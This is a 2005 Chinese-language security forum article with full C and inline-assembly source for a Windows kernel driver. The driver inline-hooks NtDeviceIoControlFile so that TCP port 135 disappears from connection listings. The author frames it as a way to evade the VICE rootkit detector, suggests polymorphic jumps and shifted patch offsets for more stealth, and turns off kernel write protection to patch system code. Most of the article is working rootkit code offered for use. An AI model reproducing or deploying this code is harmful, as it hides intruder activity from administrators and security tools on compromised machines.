创建时间:2005-11-05
文章属性:原创
文章提交: jqzmb (jqzmb_at_163.com)
kernel inline hook 绕过vice检测
uty@uaty
[email protected]
在user mode的inline hook比较好用,因为很少有多线程的问题,所以可以采用把API前5字节改为跳转指令到自己的函数中,然后再改回原来的5个字节,调用原函数后在把前5个字节改为跳转指令为下次做好准备,过程大概如下
比如hook API(),我们的函数为myAPI()
修改API()前5字节为jmp xxxx(指向myAPI()), 1
|
|
调用API() 2
|
|
跳转到myAPI() 3
|
|
(myAPI()中)改回原来的5字节 4
|
|
... 一些操作 5
|
|
(myAPI()中)调用API() 6
|
|
.... 一些操作 7
|
|
(myAPI()中)再次修改API前5字节为jmp xxxx(指向myAPI()) 8
|
|
结束 9
这个过程在kernel就不那么方便了,很不稳定,因为系统服务是整个windows都会经常调用,n多线程,如果一个线程调用了被hook的系统服务,当运行到
4--8之间的时候,线程被切换,另一个线程再次调用相同的系统服务时就会出现系统服务没被hook的情况.如果正好在执行到4或8的时候被中断,在其他
线程调用系统服务的时候就可能是BSOD了 :) 如果说是提高irql或block其他线程,总不能每次都那样吧 听说是这样的hook很不稳定,自己倒还没试
过,不知道实际情况到底怎样
看到了Greg Hoglund的migsys.sys 的确是个好程序,里面的hook只需要改写一次就可以一直hook,稳定性很好,我在虚拟机上实验,没问题,不过扁要赶上改写那一次的时候被中断....哎 只能说点背migsys.c里在驱动加载后改写系统服务的前5个字节跳转到自己给出的hook 函数中,拿NtDeviceIoControlFile为例,hook函数为
__declspec(naked) my_function_detour_ntdeviceiocontrolfile()
{
__asm
{
// exec missing instructions
push ebp
mov ebp, esp
push 0x01
push dword ptr [ebp+0x2C]
// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
}
注意到
__emit 0xEA
__emit 0xAA
__emit 0xAA
__emit 0xAA
__emit 0xAA
__emit 0x08
__emit 0x00
这是一句跳转语句 jmp 0008:AAAAAAAA
在驱动开始的时候就会寻找AAAAAAAA,把这里改写为被hook的NtDeviceIoControlFile+8的位置,这样在系统调用NtDeviceIoControlFile直接jmp到my_function_detour_ntdeviceiocontrolfile,接着执行
push ebp,esp
push 0x01
push dword ptr [ebp+0x2c] (共8字节,不同版本windows的函数可能会有变化)
接下来jmp到NtDeviceIoControlFile+8,由于my_function_detour_ntdeviceiocontrolfile是__declspec(naked),
所以在进入后堆栈不会被改变,相当于执行了一个完整的NtDeviceIoControlFile.只不过前8个字节执行的地方不同 :>
我们可以在 push ebp前直接做些我们要的操作,不可以用局部变量,调用函数,对传入NtDeviceIoControlFile的参数做处理或者过滤之类的操作.
但对于hook NtDeviceIoControlFile来实现隐藏端口和连接,我们是在调用成功后对结果进行过滤,而在jmp到NtDeviceIoControlFile+8后,我们就交出了程序的控制权.所以必须要让它执行完后再次转到我们的程序里.如果执行后要返回的话,就要用cAll指令,但cAll NtDeviceIoControlFile+8是不行的,被压入栈的返回地址放在了进栈的ebp的后面,乱了.这个办法行不通.
肯定会有不同的方法来完成,我现在只想到了一个,并且希望让编译器帮着做大部分事,,我只用c就好了 ;)
模仿这种:
NTSTATUS NTAPI myNtDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
NTSTATUS rc;
rc = NtDeviceIoControlFile(
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength
);
...
}
然后我们可以对返回值做一些操作,就相当在我们的函数里调用了NtDeviceIoControlFile
NtDeviceIoControlFile有10个参数,调用时堆栈应该是这个样
Arg10
Arg9
Arg8
Arg7
Arg6
Arg5
Arg4
Arg3
Arg2
Arg1
ret Address
因为在系统调用的时候就已经压好了参数,所以我们的hook函数就不能自己再做了,要声名__declspec(naked),参数要和原函数一致.进入后模拟
cAll NtDeviceIoControlFile
__asm
{
push OutputBufferLength
push OutputBuffer
push InputBufferLength
push InputBuffer
push IoControlCode
push IoStatusBlock
push ApcContext
push ApcRoutine
push Event
push FileHandle
}
然后是ret Address,这个需要在运行时确定,用到了病毒中常用的定位的方法:
cAll forwArd:
bAck:
pop eAx
...
forwArd:
jmp bAck:
得到pop eAx所在的位置
在我们的程序中:
__asm
{
//int 3
jmp forwArd
bAck:
}
__asm
{
// exec missing instructions
push ebp
mov ebp, esp
push 0x01
push dword ptr [ebp+0x2C]
// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
//////////////////////////
__asm
{
forwArd:
call bAck
}
实现了一个完整的cAll NtDeviceIoControlFile :>
__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
//NTSTATUS rc; 这里不能用局部变量,因为NtDeviceIoControlFile被调用的 环境可不确定,可以用全局变量(我们的Driver用服务的方式加载会在nonpAgedpool中或者直接在nonpAgedPool中申请
//TCP_REQUEST_QUERY_INFORMATION_EX req;
//TCPAddrEntry* TcpTable;// = NULL;
//TCPAddrExEntry* TcpExTable;// = NULL;
//ULONG numconn;
//ULONG i;
__asm
{
push ebp
mov ebp,esp
}
//DbgPrint("hooked/n");
__asm
{
push OutputBufferLength
push OutputBuffer
push InputBufferLength
push InputBuffer
push IoControlCode
push IoStatusBlock
push ApcContext
push ApcRoutine
push Event
push FileHandle
}
__asm
{
//int 3
jmp forwArd
bAck:
}
__asm
{
//popfd
//popad
// exec missing instructions
push ebp
mov ebp, esp
push 0x01
push dword ptr [ebp+0x2C]
// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
//////////////////////////
__asm
{
forwArd:
call bAck
}
/*
__asm
{
mov esp,ebp
pop ebp
ret 0x28
}
*/
//DbgPrint("once here :>/n");
__asm
{
mov rc,eax
}
if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
//TcpTable = NULL;
//TcpExTable = NULL;
if( NT_SUCCESS( rc ) ) {
req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
req.ID.toi_entity.tei_instance = 0;
req.ID.toi_class = INFO_CLASS_PROTOCOL;
req.ID.toi_type = INFO_TYPE_PROVIDER;
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ){
if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
//判断是否是最后一个
if (i != numconn -1){
RtlCopyMemory((TcpTable+i),(TcpTable+i+1),((numconn-i-1)*sizeof(TCPAddrEntry)));
numconn--;
i--;
}else{
numconn--;
}
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
}
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
声名__declspec(naked)的函数是不能用return语句的,因此这个工作得自己做 :>
上面的方法相比直接改SSDT就隐蔽些了,但被vice查出来,太容易被发现,当然可以用变形的方法来替换jmp,比如push xxxx,ret 其他的很多方法,虑到除了变形外还可以把改写的位置放在其他位置上,比如从被hook的函数开始的第8个字节的几个字节改写成jmp xxxx,位置是不固定的,要看具体情况而定,比如
NtDeviceIoControlFile,
nt!NtDeviceIoControlFile:
805997c4 55 push ebp
805997c5 8bec mov ebp,esp
805997c7 6a01 push 0x1
805997c9 ff752c push dword ptr [ebp+0x2c]
805997cc ff7528 push dword ptr [ebp+0x28]
805997cf ff7524 push dword ptr [ebp+0x24]
805997d2 ff7520 push dword ptr [ebp+0x20]
805997d5 ff751c push dword ptr [ebp+0x1c]
805997d8 ff7518 push dword ptr [ebp+0x18]
805997db ff7514 push dword ptr [ebp+0x14]
805997de ff7510 push dword ptr [ebp+0x10]
805997e1 ff750c push dword ptr [ebp+0xc]
805997e4 ff7508 push dword ptr [ebp+0x8]
805997e7 e8e731ffff call nt!IopXxxControlFile (8058c9d3)
805997ec 5d pop ebp
805997ed c22800 ret 0x28
805997f0 0f862334ffff jbe nt!IopXxxControlFile+0x570 (8058cc19)
...
前面这么多push 语句都可以用来改成jmp xxxx或类似的语句,直要不让它执行到cAll就行了,,因为一但cAll就做出了很多操作,不好往回改了
比如选定
805997cc ff7528 push dword ptr [ebp+0x28]
805997cf ff7524 push dword ptr [ebp+0x24]
805997d2 ff7520 push dword ptr [ebp+0x20]
这9个字节改写为0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 11223344被换成我们的函数的地址,一定要用整数条语句的空间
当调用NtDeviceIoControlFile后跳转到我们的函数时,实际上已经执行了这几条语句了
805997c4 55 push ebp
805997c5 8bec mov ebp,esp
805997c7 6a01 push 0x1
805997c9 ff752c push dword ptr [ebp+0x2c]
所以要执行对应相反的语句来恢复堆栈
__asm
{
add esp,8
mov esp,ebp
pop ebp
}
然后和原来的方法一样模拟cAll NtDeviceIoControlFile的过程,把丢掉的语句都补上.
在自己的xp sp1下vice2.0通过,结合变形,效果会更好吧 :>
代码如下:
////////////inline_hook.c///////////////
#include <ntddk.h>
#include "hideport_hook_ZwDeviceIoControlFile.h"
NTSTATUS rc;
TCP_REQUEST_QUERY_INFORMATION_EX req;
TCPAddrEntry* TcpTable = NULL;
TCPAddrExEntry* TcpExTable = NULL;
ULONG numconn;
ULONG i;
//--------------------------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI
NtDeviceIoControlFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
IN ULONG DeviceIoControlCode,
IN PVOID InBuffer OPTIONAL,
IN ULONG InBufferLength,
OUT PVOID OutBuffer OPTIONAL,
IN ULONG OutBufferLength
);
NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
int i=0;
char *p = (char *)NtDeviceIoControlFile;
//The beginning of the NtDeviceIoControlFile function
//should match:
//55 PUSH EBP
//8BEC MOV EBP, ESP
//6A01 PUSH 01
//FF752C PUSH DWORD PTR [EBP + 2C]
char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };
while(i<8)
{
DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
DbgPrint("/n");
if(p[i] != c[i])
{
return STATUS_UNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) NTAPI my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
//NTSTATUS rc;
//TCP_REQUEST_QUERY_INFORMATION_EX req;
//TCPAddrEntry* TcpTable;// = NULL;
//TCPAddrExEntry* TcpExTable;// = NULL;
//ULONG numconn;
//ULONG i;
__asm
{
add esp,8
mov esp,ebp
pop ebp
}
__asm
{
push ebp
mov ebp,esp
pushad
}
//DbgPrint("hooked/n");
__asm
{
push OutputBufferLength
push OutputBuffer
push InputBufferLength
push InputBuffer
push IoControlCode
push IoStatusBlock
push ApcContext
push ApcRoutine
push Event
push FileHandle
}
__asm
{
//int 3
jmp forwArd
bAck:
}
__asm
{
// exec missing instructions
push ebp
mov ebp, esp
push 0x01
push dword ptr [ebp+0x2C]
push dword ptr [ebp+0x28]
push dword ptr [ebp+0x24]
push dword ptr [ebp+0x20]
// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
//////////////////////////
__asm
{
forwArd:
call bAck
}
//DbgPrint("once here :>/n");
__asm
{
mov rc,eax
}
if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
//return(rc);
__asm
{
popad
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
if( NT_SUCCESS( rc ) ) {
req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
req.ID.toi_entity.tei_instance = 0;
req.ID.toi_class = INFO_CLASS_PROTOCOL;
req.ID.toi_type = INFO_TYPE_PROVIDER;
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ){
if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
//判断是否是最后一个
if (i != numconn -1){
RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
numconn--;
i--;
}else{
numconn--;
}
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
//return(rc);
__asm
{
popad
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;
if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
TcpExTable = (TCPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ) {
if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) {
if (i != numconn){
RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
numconn--;
i--;
}else{
numconn--;
}
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
//return(rc);
__asm
{
popad
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
}
//return(rc);
__asm
{
popad
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
char *actual_function = (char *)NtDeviceIoControlFile;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;
// assembles to jmp far 0008:11223344 where 11223344 is address of
// our detour function, plus one NOP to align up the patch
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 };
// reenter the hooked function at a location past the overwritten opcodes
// alignment is, of course, very important here
reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17;
detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile;
// stamp in the target address of the far jmp
*( (unsigned long *)(&newcode[1]) ) = detour_address;
// now, stamp in the return jmp into our detour
// function
for(i=0;i<200;i++){
if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
{
// we found the address 0xAAAAAAAA
// stamp it w/ the correct address
*( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
break;
}
}
//TODO, raise IRQL
//overwrite the bytes in the kernel function
//to apply the detour jmp
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
for(i=8;i < 17;i++)
{
actual_function[i] = newcode[i-8];
}
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
//TODO, drop IRQL
}
VOID UnDetourFunction()
{
//TODO!
}
//--------------------------------------------------------------------
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("My Driver Unloaded!/n");
UnDetourFunction();
}
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
DbgPrint("My Driver Loaded!");
// TODO!! theDriverObject->DriverUnload = OnUnload;
if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()){
DbgPrint("Match Failure on NtDeviceIoControlFile!/n");
return STATUS_UNSUCCESSFUL;
}
DetourFunctionNtDeviceIoControlFile();
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
//////////hideport_hook_ZwDeviceIoControlFile.h/////////////
#include <ntddk.h>
//--------------------------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI
ZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
NTSTATUS NTAPI
myZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
typedef NTSTATUS (NTAPI *ZWDEVICEIOCONTROLFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
//--------------------------------------------------------------------
// jiurl // from addrconv.cpp
#define ntohs(s) ( ( ((s) >> 8) & 0x00FF ) | ( ((s) << 8) & 0xFF00 ) )
// jiurl // from tcpioctl.h tdiinfo.h tdistat.h
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//* Structure of an entity ID.
typedef struct TDIEntityID {
ULONG tei_entity;
ULONG tei_instance;
} TDIEntityID;
//* Structure of an object ID.
typedef struct TDIObjectID {
TDIEntityID toi_entity;
ULONG toi_class;
ULONG toi_type;
ULONG toi_id;
} TDIObjectID;
#define CONTEXT_SIZE 16
//
// QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer
// in the DeviceIoControl request. This structure is passed as the
// InputBuffer.
//
struct tcp_request_query_information_ex {
TDIObjectID ID; // object ID to query.
ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed
// for the first request.
};
typedef struct tcp_request_query_information_ex
TCP_REQUEST_QUERY_INFORMATION_EX,
*PTCP_REQUEST_QUERY_INFORMATION_EX;
#define CO_TL_ENTITY 0x400
#define INFO_CLASS_PROTOCOL 0x200
#define INFO_TYPE_PROVIDER 0x100
//--------------------------------------------------------------------
typedef struct TCPSNMPInfo {
ULONG tcpsi_RtoAlgorithm;
ULONG tcpsi_RtoMin;
ULONG tcpsi_RtoMax;
ULONG tcpsi_MaxConn;
ULONG tcpsi_ActiveOpens;
ULONG tcpsi_PassiveOpens;
ULONG tcpsi_AttemptFails;
ULONG tcpsi_EstabResets;
ULONG tcpsi_CurrEstab;
ULONG tcpsi_InSegs;
ULONG tcpsi_OutSegs;
ULONG tcpsi_RetransSegs;
ULONG tcpsi_unknown1;
ULONG tcpsi_unknown2;
ULONG tcpsi_numconn;
} TCPSNMPInfo;
#define tcpRtoAlgorithm_other 1 // none of the following
#define tcpRtoAlgorithm_constant 2 // a constant rto
#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B
#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm
#define TCP_MIB_STATS_ID 1
#define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101
#define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102
typedef struct TCPAddrEntry {
ULONG tae_ConnState;
ULONG tae_ConnLocalAddress;
ULONG tae_ConnLocalPort;
ULONG tae_ConnRemAddress;
ULONG tae_ConnRemPort;
} TCPAddrEntry;
#define tcpConnState_closed 1
#define tcpConnState_listen 2
#define tcpConnState_synSent 3
#define tcpConnState_synReceived 4
#define tcpConnState_established 5
#define tcpConnState_finWait1 6
#define tcpConnState_finWait2 7
#define tcpConnState_closeWait 8
#define tcpConnState_lastAck 9
#define tcpConnState_closing 10
#define tcpConnState_timeWait 11
#define tcpConnState_deleteTCB 12
typedef struct TCPAddrExEntry {
ULONG tae_ConnState;
ULONG tae_ConnLocalAddress;
ULONG tae_ConnLocalPort;
ULONG tae_ConnRemAddress;
ULONG tae_ConnRemPort;
ULONG pid;
} TCPAddrExEntry;